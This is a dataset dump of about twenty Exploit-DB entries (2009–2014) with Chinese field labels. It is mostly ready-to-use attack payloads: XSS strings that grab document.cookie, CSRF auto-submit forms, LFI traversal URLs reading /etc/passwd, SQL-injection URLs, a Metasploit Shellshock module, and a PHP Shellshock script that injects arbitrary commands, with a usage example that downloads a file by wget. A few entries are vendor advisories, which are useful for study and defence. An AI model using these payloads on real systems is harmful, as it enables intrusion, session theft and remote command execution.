QLWD/code_shield huggingface dataset:
标题: MODx manager - '/controllers/default/resource/tvs.php?class_key' Traversal Local File Inclusion EDB-ID: 34788 CVE: 2010-5278 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43577/info
 
MODx is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.
 
The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
MODx 2.0.2-pl is vulnerable; other versions may also be affected. 

http://www.example.com/modx/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00 URL: https://www.exploit-db.com/exploits/34788
标题: Scriptsez Ultimate Poll - 'demo_page.php' Cross-Site Scripting EDB-ID: 34783 CVE: 2009-3601 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/43552/info

Ultimate Poll is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/up/demo_page.php?action=vote&pid=test_poll&clr=1>&#039;><ScRiPt%20%0a%0d>alert(310294726286)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34783
标题: HotScripts Type PHP Clone Script - 'lostpassword.php?msg' Cross-Site Scripting EDB-ID: 34776 CVE: 2009-2588 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43519/info
  
Hotscripts Type PHP Clone Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/hotscriptsclonetypephpscript/lostpassword.php?msg="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34776
标题: MODx 2.0.2-pl - '/manager/index.php?modahsh' Cross-Site Scripting EDB-ID: 34787 CVE: 2010-4883 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43577/info

MODx is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MODx 2.0.2-pl is vulnerable; other versions may also be affected. 

http://www.example.com/modx/manager/index.php?modahsh=%22%3E%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/34787
标题: Getsimple CMS 2.01 - 'changedata.php' Cross-Site Scripting EDB-ID: 34789 CVE: 2010-4863 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43593/info

GetSimple CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

GetSimple CMS 2.01 is vulnerable; prior versions may also be affected.

<form action="http://host/admin/changedata.php" method="post" name="main" > <input type="hidden" name="post-title" value='page title"><script>alert(document.cookie)</script>' /> <input type="hidden" name="post-id" value="test" /> <input type="hidden" name="post-metak" value="" /> <input type="hidden" name="post-metad" value="" /> <input type="hidden" name="post-parent" value="" /> <input type="hidden" name="post-template" value="template.php" /> <input type="hidden" name="post-menu" value="test" /> <input type="hidden" name="post-menu-order" value="" /> <input type="hidden" name="post-content" value="page html" /> <input type="hidden" name="existing-url" value="test" /> <input type="hidden" name="submitted" value="Save Updates" /> </form> <script> document.main.submit(); </script> URL: https://www.exploit-db.com/exploits/34789
标题: GNU Bash - Environment Variable Command Injection (Metasploit) EDB-ID: 34777 CVE: 2014-7910 2014-7227 2014-7196 2014-7169 2014-62771 2014-6271 2014-3671 2014-3659 类型: REMOTE 平台: CGI 发布日期: 2014-09-25 漏洞利用脚本: require 'msf/core'

    class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
    

        def initialize(info = {})
            super(update_info(info,
                'Name'           => 'bashedCgi',
                'Description'    => %q{
                   Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command. 
                },
                'Author'         => 
                  [ 
                    'Stephane Chazelas',                      # vuln discovery 
                    'Shaun Colley <scolley at ioactive.com>'  # metasploit module
                  ],
                'License'        => MSF_LICENSE,
                'References'     => [ 'CVE', '2014-6271' ],
                'Targets'        => 
                    [
                        [ 'cgi', {} ]
                    ],
                'DefaultTarget'  => 0,
                'Payload'        =>
                    {
                    'Space'      => 1024,
                    'DisableNops' => true
                    },
                'DefaultOptions' => { 'PAYLOAD' => 0 } 
            ))

                register_options(
                    [
                        OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
                        OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
                    ], self.class)
        end

        def run 
            res = send_request_cgi({
                'method'   => 'GET',
                'uri'      => datastore['TARGETURI'],
                'agent'    => "() { :;}; " + datastore['CMD']
            })

            if res && res.code == 200
                print_good("Command sent - 200 received")
            else
                print_error("Command sent - non-200 reponse")
            end
        end
    end URL: https://www.exploit-db.com/exploits/34777
标题: GNU Bash - 'Shellshock' Environment Variable Command Injection EDB-ID: 34765 CVE: 2014-7910 2014-7227 2014-7196 2014-7169 2014-62771 2014-6271 2014-3671 2014-3659 类型: REMOTE 平台: LINUX 发布日期: 2014-09-25 漏洞利用脚本: Exploit Database Note:
The following is an excerpt from: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 vulnerable
 this is a test

The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched version of bash, you should get an output similar to:

 $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'
 this is a test URL: https://www.exploit-db.com/exploits/34765
标题: PHP Scripts Now Hangman - 'index.php?letters' Cross-Site Scripting EDB-ID: 34771 CVE: 2009-2889 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43513/info
 
TOPHangman is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
 
http://www.example.com/index.php?letters=1>"><ScRiPt %0A%0D>alert(308637108657)%3B</ScRiPt>&n=601 URL: https://www.exploit-db.com/exploits/34771
标题: Honest Traffic - 'msg' Cross-Site Scripting EDB-ID: 34772 CVE: 2009-3222 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/43514/info

Honest Traffic is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/script/honesttraffic/index.php?msg=1%3Cscript%3Ealert(313706764927)%3C/script%3E URL: https://www.exploit-db.com/exploits/34772
标题: WordPress Plugin Login Widget With ShortCode 3.1.1 - Multiple Vulnerabilities EDB-ID: 34762 CVE: 2014-6312 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-25 漏洞利用脚本: Details
================
Software: Login Widget With Shortcode
Version: 3.1.1
Homepage: http://wordpress.org/plugins/login-sidebar-widget/
Advisory report: https://security.dxw.com/advisories/csrfxss-vulnerablity-in-login-widget-with-shortcode-allows-unauthenticated-attackers-to-do-anything-an-admin-can-do/
CVE: Awaiting assignment
CVSS: 6.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:P)

Description
================
CSRF/XSS vulnerablity in Login Widget With Shortcode allows unauthenticated attackers to do anything an admin can do

Vulnerability
================
This plugin is vulnerable to a combination CSRF/XSS attack. An attacker able to convince an admin to visit a link of their choosing is able to insert arbitrary HTML into an admin page.  Using that ability they can use JavaScript to control an admin user’s browser, allowing the attacker to create user accounts, create posts, delete all posts, etc.

Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display in the admin screens. (In a real attack the form can be made to auto-submit using Javascript).
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=login_widget_afo\">
  <input type=\"text\" name=\"custom_style_afo\" value=\"&lt;/textarea&gt;<script>alert(1)</script>\">
  <input type=\"text\" name=\"option\" value=\"login_widget_afo_save_settings\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.2.1 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-08-26: Discovered
2014-09-15: Reported to vendor by email
2014-09-15: Vendor reported the issue fixed and a new version released
2014-09-17: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information. URL: https://www.exploit-db.com/exploits/34762
标题: Horde IMP Webmail 4.3.7 - 'fetchmailprefs.php' HTML Injection EDB-ID: 34773 CVE: 2010-3695 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/43515/info

Horde IMP Webmail is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data before it is used in dynamic content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Horde IMP 4.3.7 is affected; other versions may also be vulnerable.

http://www.example.com/path/fetchmailprefs.php?actionID=fetchmail_prefs_save&fm_driver=imap&fm_id=zzz%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E%3Cx+y%3D%22&fm_protocol=pop3&fm_lmailbox=INBOX&save=Create URL: https://www.exploit-db.com/exploits/34773
标题: HotScripts Type PHP Clone Script - 'feedback.php?msg' Cross-Site Scripting EDB-ID: 34774 CVE: 2009-2588 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43519/info

Hotscripts Type PHP Clone Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/hotscriptsclonetypephpscript/feedback.php?msg="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34774
标题: OSClass 3.4.1 - 'index.php' Local File Inclusion EDB-ID: 34763 CVE: 2014-6308 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-25 漏洞利用脚本: Information
-----------
Advisory by Netsparker.
Name : LFI Vulnerability in OsClass
Affected Software : OsClass
Affected Versions: 3.4.1 and possibly below
Vendor Homepage : http://osclass.org/
Vulnerability Type : Local File Inclusion
Severity : Critical
CVE-ID: CVE-2014-6308
Netsparker Advisory Reference : NS-14-031

Advisory URL
------------
https://www.netsparker.com/lfi-vulnerability-in-osclass/

Description
-----------
Local file inclusion vulnerability where discovered in Osclass, an
open source project that allows you to create a classifieds sites.

Technical Details
-----------------
Proof of Concept URL for LFI in OsClass:

http://example.com/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd

Advisory Timeline
-----------------
03/09/2014 - First Contact
03/09/2014 - Vulnerability fixed:
https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435
15/09/2014 - Fix released publicly in Osclass 3.4.2

Credits & Authors
-----------------
These issues have been discovered by Omar Kurt while testing
Netsparker Web Application Security Scanner.

About Netsparker
----------------
Netsparker can find and report security issues and vulnerabilities
such as SQL Injection and Cross-site Scripting (XSS) in all websites
and web applications regardless of the platform and the technology
they are built on. Netsparker's unique detection and exploitation
techniques allows it to be dead accurate in reporting hence it's the
first and the only False Positive Free web application security
scanner. For more information on Netsparker visit
https://www.netsparker.com. URL: https://www.exploit-db.com/exploits/34763
标题: HotScripts Type PHP Clone Script - 'index.php?msg' Cross-Site Scripting EDB-ID: 34775 CVE: 2009-2588 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43519/info
 
Hotscripts Type PHP Clone Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/hotscriptsclonetypephpscript/index.php?id=1&msg="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34775
标题: PHP Scripts Now Hangman - 'index.php?n' SQL Injection EDB-ID: 34770 CVE: 2009-2888 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43513/info

TOPHangman is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks. 

http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=4 FALSE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+union+select+1,version()-- URL: https://www.exploit-db.com/exploits/34770
标题: Bash - 'Shellshock' Environment Variables Command Injection EDB-ID: 34766 CVE: 2014-7910 2014-7227 2014-7196 2014-7169 2014-62771 2014-6271 2014-3671 2014-3659 类型: REMOTE 平台: LINUX 发布日期: 2014-09-25 漏洞利用脚本: <?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
    GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
    Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

Test CGI Code : #!/bin/bash
    echo "Content-type: text/html"
    echo ""
    echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
 die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

}
$url = $x['u'];
$cmd = $x['c'];

$context = stream_context_create(
 array(
  'http' => array(
   'method'  => 'GET',
   'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
  )
 )
);
$req = file_get_contents($url, false, $context);
if(!$req && strpos($http_response_header[0],"500") > 0 )
 die("Command sent to the server!\n");
else if($req && !strpos($http_response_header[0],"500") > 0)
 die("Server didn't respond as it should!\n");
else if(!$req && $http_response_header == NULL)
 die("A connection error occurred!\n")
?> URL: https://www.exploit-db.com/exploits/34766
标题: Classified Linktrader Script - 'addlink.php' SQL Injection EDB-ID: 34748 CVE: 2009-4691 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43497/info

Classified Linktrader Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/addlink.php?txtName=1&txtEmail=1&1&txtHURL=1&txtLURL=1&slctCategories=null+union+all%20select+1,version(),3--&txtSlogan=1&txtDescription=1&cmdPreview=Preview-- URL: https://www.exploit-db.com/exploits/34748
标题: YourFreeWorld Ultra Classifieds - 'subclass.php?cname' Cross-Site Scripting EDB-ID: 34745 CVE: 2009-3539 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: www.securityfocus.com/bid/43490/info
 
Ultra Classifieds is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Ultra Classifieds Pro is vulnerable; other versions may also be affected.

http://www.example.com/ultraclassifieds/subclass.php?c=18&cname=1<script>alert(308954043099)</script> URL: https://www.exploit-db.com/exploits/34745
标题: Restaurant Script (PizzaInn Project) - Persistent Cross-Site Scripting EDB-ID: 34760 CVE: 2014-6619 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-24 漏洞利用脚本: Title:     Pizza Inn Registration Stored XSS
Severity:   High
CVE-ID:   CVE-2014-6619
Release Date:  20 September 2014 
Author:   Kenneth F. Belva
Websites:  http://silverbackventuresllc.com
    http://xssWarrior.com 
    http://securitymaverick.com
Twitter:   @infosecmaverick
Contact:  Please use website contact form.
Mail: 
URL:     http://sourceforge.net/projects/restaurantmis/
Vendor: 
Remote Exploit:  Yes

Discovered with: xssWarrior - http://xssWarrior.com


Description:
============

On registration the XSS code will be stored in the database. When the administrator views the new sign-ups it will execute.


Proof of Concept :
==================

http://[domain]/PizzaInn/register-exec.php
fname=[code]&lname=[code]&login=[code]&password=r00t&cpassword=r00t&question=8&answer=hack4&Submit=Register URL: https://www.exploit-db.com/exploits/34760
标题: CJ Dynamic Poll Pro 2.0 - 'admin_index.php' Cross-Site Scripting EDB-ID: 34749 CVE: 2009-3509 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-21 漏洞利用脚本: source: www.securityfocus.com/bid/43498/info

CJ Dynamic Poll Pro is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CJ Dynamic Poll Pro 2.0 is vulnerable; other versions may be affected. 

http://www.example.com/cjdynamicpollprov2/admin/admin_index.php/"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34749
标题: LittleSite 0.1 - 'index.php' Local File Inclusion EDB-ID: 34747 CVE: 2009-3542 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/43495/info

LittleSite is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

LittleSite 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/littlesite/index.php?file=../../../../etc/passwd URL: https://www.exploit-db.com/exploits/34747